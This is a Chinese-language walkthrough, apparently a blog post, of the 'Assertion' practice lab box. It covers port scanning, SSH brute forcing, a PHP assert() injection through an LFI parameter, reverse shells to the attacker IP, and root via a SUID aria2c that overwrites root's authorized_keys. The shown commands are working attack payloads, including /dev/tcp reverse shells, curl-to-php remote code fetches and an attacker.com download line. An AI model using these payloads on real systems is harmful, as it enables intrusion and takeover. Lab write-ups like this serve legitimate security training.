靶场上新---小技巧

公众号:掌控安全EDU 分享更多技术文章,欢迎关注一起探讨学习

目录

准备工作

信息收集-端口扫描

信息收集-端口测试

22-SSH端口的信息收集

漏洞利用-getwebshell

内网遨游-getshell

权限提升


总结


getwebshell : 发现疑似LFI的地方 → 测试..过滤 → 尝试断言绕过 → 远程加载反弹shell → getwebshell

提 权 思 路 : suid文件发现 → aria2c远程下载ssh私钥覆盖/root/.ssh → ssh公钥登录提权

准备工作


  • 启动VPN
    获取攻击机IP → 192.168.45.218

  • 启动靶机
    获取目标机器IP → 192.168.151.94

信息收集-端口扫描

目标开放端口收集


Nmap开放端口扫描2次(多次扫描减少误扫)

1.sudo nmap --min-rate 10000 -p- 192.168.151.94

2.

3.PORT STATE SERVICE

4.22/tcp open ssh

5.80/tcp open http

 

开放的端口->22,80 

目标端口对应服务探测

1.# tcp探测

2.sudo nmap -sT -sV -O -sC -p22,80 192.168.151.94

3.

4.PORT STATE SERVICE VERSIO

5.22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3

6.80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

信息收集-端口测试


22-SSH端口的信息收集

22-SSH端口版本信息与MSF利用

通过Nmap探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.6p1

1.# 搜索对应脚本

2.msf6 > searchsploit OpenSSH 7.6p1

发现搜索到可利用的和用户枚举有关(待定)

22-SSH协议支持的登录方式

通过Nmap探测获得SSH的版本信息,在获取到某个用户名之后尝试

1.sudo ssh root@192.168.151.94 -v

显示publickeypassword就是支持密钥以及密码登录

因为支持密码登录,尝试root账户的密码弱密码尝试

1.sudo ssh root@192.168.151.94 -p 22

2.# 密码尝试

3.password > root

弱密码尝试失败

22-SSH弱口令爆破(静静等待)

因为支持密码登录,尝试root账户的密码爆破,利用工具hydra,线程-t为6

1.sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.151.94 ssh -s 22

挂着工具进行爆破,我们尝试后续信息收集

80-HTTP端口的信息收集

访问 http://192.168.151.94:80 像一个CMS,尝试指纹收集开始
像是一个健身网站

信息收集-网站指纹

1.┌──(root㉿Kali)-[/home/bachang/Assertion101]

2.└─# whatweb http://192.168.151.94:80

3.http://192.168.151.94:80 [200 OK] Apache[2.4.29], Bootstrap, Country[RESERVED][ZZ], Email[Colorlib.info@gmail.com], Frame, HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[192.168.151.94], JQuery[3.3.1], Script, Title[Assertion], X-UA-Compatible[ie=edge]

标题 Assertion 翻译是断言,可能会有一定帮助。(不是提示就是用户之类的)

漏洞利用-网站指纹

1.searchsploit Assertion

尝试搜索,不太对劲

信息收集-HTML隐藏信息查看

1.# 包括文章中是否写明一些敏感信息

2.curl http://192.168.151.94:80

很多的js没什么信息

信息收集-目录扫描

信息收集-目录扫描初步

1.# 用两个扫描器进行扫描,更加的谨慎一些

2.dirsearch -u http://192.168.151.94:80 -x 302,403,404

3.dirb http://192.168.151.94:80

因为扫出了目录,深层次的扫描待选

1.信息收集-目录扫描(后缀)

2.信息收集-目录扫描(深度/大字典)

3.信息收集-目录扫描(深度/大字典后缀)

信息收集-目录访问
  • js文件没发现什么

  • img文件夹下都是图片

  • pages文件夹下很多php文件
    打开没啥其余几个php文件夹对应的都是访问不同页面

信息收集-目录扫描

信息收集-目录扫描大字典

因为没什么收获,决定上大字典

1.# -t 指定线程 -x 添加后缀扩展名 -k 禁用ssl

2.gobuster dir -u http://192.168.151.94:80 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -x .html,.php,.zip -k > gobuster.txt

漏洞探测-nikto扫描

同时试试扫描器

1.nikto -h http://192.168.151.94:80

没发现什么大问题

文章信息查看

有时候文章内部也具有一些提示滴
戳了一下about发现目录发现变化,出现了传参

漏洞利用-getwebshell

LFI测试

看见传参我可兴奋了,首先尝试相对路径的文件读取

1.http://192.168.151.94/index.php?page=about/../../../../etc/passwd

Not so easy brother!没有这么简单,这是提示?还是嘲讽/(ㄒoㄒ)/

那么思路应该是正确的
尝试一下相对路径文件读取

1.http://192.168.151.94/index.php?page=/etc/passwd

File does not exist文件不存在说明应该相对路径?

尝试远程文件加载

1.http://192.168.151.94/index.php?page=http://www.baidu.com

File does not exist

1.http://192.168.151.94/index.php?page=../

2.http://192.168.151.94/index.php?page=/../

3.http://192.168.151.94/index.php?page=././././

4.http://192.168.151.94/index.php?page=%2F..%2F

尝试了各种,发现的问题是好像对..进行了过滤捏
.好像没有url编码

.过滤绕过

推测后端php脚本可能存在类似正则匹配,如果存在..则会执行

1.<?php echo "Not so easy brother!" ?>

突然想到了标题的断言,尝试推测后端代码

 推测属于这种类型的代码的话,不能使用..
https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/file-inclusion/README.md上搜索到了相关内容

提供了一种很新颖的绕过思路

1.http://192.168.151.94/index.php?page=' and die(show_source('/etc/passwd')) or '

没有发现账号

1.http://192.168.151.94/index.php?page=%27%20and%20die(system(%22whoami%22))%20or%20%27

命令执行反弹shell1(失败)

1.# 利用linux自带的bash进行反弹

2.bash -i >& /dev/tcp/192.168.45.218/4545 0>&1

1.http://192.168.151.94/index.php?page=' and die(system("bash -i >& /dev/tcp/192.168.45.218/4545 0>&1")) or '

发现没有回显,进行修改

1.http://192.168.151.94/index.php?page=' and die(system("sh -i >& /dev/tcp/192.168.45.218/4545 0>&1")) or '

命令执行反弹shell2

反弹失败之后尝试用远程加载的方法

1.# 利用cp命令cp一个到当前文件夹并且命名为shell.php

2.sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php

1.# 开启监听

2.sudo nc -lvnp 4545

反弹shell配置

1.# 利用grep确定修改反弹shell_ip的第49行

2.grep -n "127.0.0.1" shell.php

3.> 49:$ip = '127.0.0.1'; // CHANGE THIS

4.# 同理监听端口是第50行

5.grep -n "1234" shell.php

6.50:$port = 1234; // CHANGE THIS

7.# 利用sed命令替换里面的内容

8.sed -i '49s/127.0.0.1/192.168.45.218/' shell.php

9.sed -i '50s/1234/4545/' shell.php

10.# 利用sed查看49与50行是否修改成功

11.sed -n '49,50p' shell.php

python3开启http服务

1.# 利用python开启http服务

2.sudo python3 -m http.server 80

1.# 目标机器执行远程访问

2.http://192.168.151.94/index.php?page=' and die(system("curl http://192.168.45.218:80/shell.php | php")) or '

命令执行成功

内网遨游-getshell


交互shell

由于获取的shell交互不友好,利用python获得新的交互shell

1.# 利用python获取交互shell -> python失败使用python3

2.python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

1.www-data@assertion:/$ find / -name local.txt 2>/dev/null

2./var/www/local.txt

3.www-data@assertion:/$ cat /var/www/local.txt

4.525385afed5f2d70bfb89f7cb77b1da3

信息收集-内网基础信息收集

提权的本质在于枚举,在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测Linux操作系统的发行版本

较老的Ubuntu以及Linux系统可以overlayfs提权

1.# 确定发行版本

2.www-data@assertion:/$ lsb_release -a

3.No LSB modules are available.

4.Distributor ID: Ubuntu

5.Description: Ubuntu 18.04.3 LTS

6.Release: 18.04

7.Codename: bionic

发行版本为Ubuntu 18.04,不太能overlayfs提权

检测Linux操作系统的内核版本

较低的内核版本可以进行脏牛提权

1.uname -a

2.Linux assertion 4.15.0-74-generic #84-Ubuntu SMP Thu Dec 19 08:06:28 UTC 2019 x86_64 x86_64 x86_

内核版本为4.15.0

检测当前用户的权限

1.www-data@assertion:/$ id

2.uid=33(www-data) gid=33(www-data) groups=33(www-data)

列举出所有的sudo文件

查找具有sudo权限,且不需要密码的可提权文件
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找

1.# 利用sudo -l寻找

2.www-data@assertion:/$ sudo -l

3.sudo -l

4.[sudo] password for www-data: root

5.Sorry, try again.

发现需要密码

列举出所有suid文件

如果发现u=s有东西的话 访问 https://gtfobins.github.io 寻找

1.# -perm 文件权限

2.www-data@assertion:/$ find / -perm -u=s -type f 2>/dev/null

3./usr/lib/openssh/ssh-keysign

4./usr/lib/eject/dmcrypt-get-device

5./usr/lib/policykit-1/polkit-agent-helper-1

6....

7./usr/bin/aria2c

8./usr/bin/chfn

9./bin/ping

10./bin/mount

11./bin/fusermount

12./bin/su

权限提升

suid-aria2c提权

发现一个aria2c没见过
如果发现有东西的话 访问 https://gtfobins.github.io 寻找

提权尝试一(失败)

1.COMMAND='id'

2.TF=$(mktemp)

3.echo "$COMMAND" > $TF

4.chmod +x $TF

5.aria2c --on-download-error=$TF http://x

尝试失败决定用第二个

提权尝试二(失败)

第二个是远程加载执行文件,需要满足16位

1.aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa

1.aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://192.168.45.218:80/aaaaaaaaaaaaaaaa

提权没啥用,上传了没执行

提权尝试三(覆盖root的ssh连接密钥)

尝试百度大法寻找aria2c提权姿势

1.aria2c是一个下载工具,拥有SUID权限的话,意味着可以用它下载任何内容,并且可以保存在任意位置。

是不是可以创建一对密钥,然后把公钥上传到靶机上的/root/.ssh下?

1.# 生成的命令

2.ssh-keygen -t rsa

3.# 选择需要生成名称

4.Enter file in which to save the key (/root/.ssh/id_rsa): yaoruo

5.# 是否需要生成密码

6.Enter passphrase (empty for no passphrase):

7.# 会生成一个密钥和一个公钥

8.yaoruo yaoruo.pub

9.# 重命名

10.cp yaoruo.pub authorized_keys

11.# 放到.shh

12.cp yaoruo ~/.ssh/

在目标靶机上用aria2c下载这个公钥

1./usr/bin/aria2c -d /root/.ssh/ -o authorized_keys "http://192.168.45.218:80/authorized_keys" -

远程连接提权成功

1.sudo ssh -i yaoruo root@192.168.151.94

FLAG2获取

1.root@assertion:~# cat /root/proof.txt

2.9b9bf7eec2d5e862a7fa151a0e1a6e0a

完结撒花~

总结

这次靶场明显比之前上升了难度,思路不是很清晰

虽然大致猜到了过滤方式,实际上去使用payload还是有些吃力,查看了网上大神们的

图片

没看够~?欢迎关注!

  

 渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值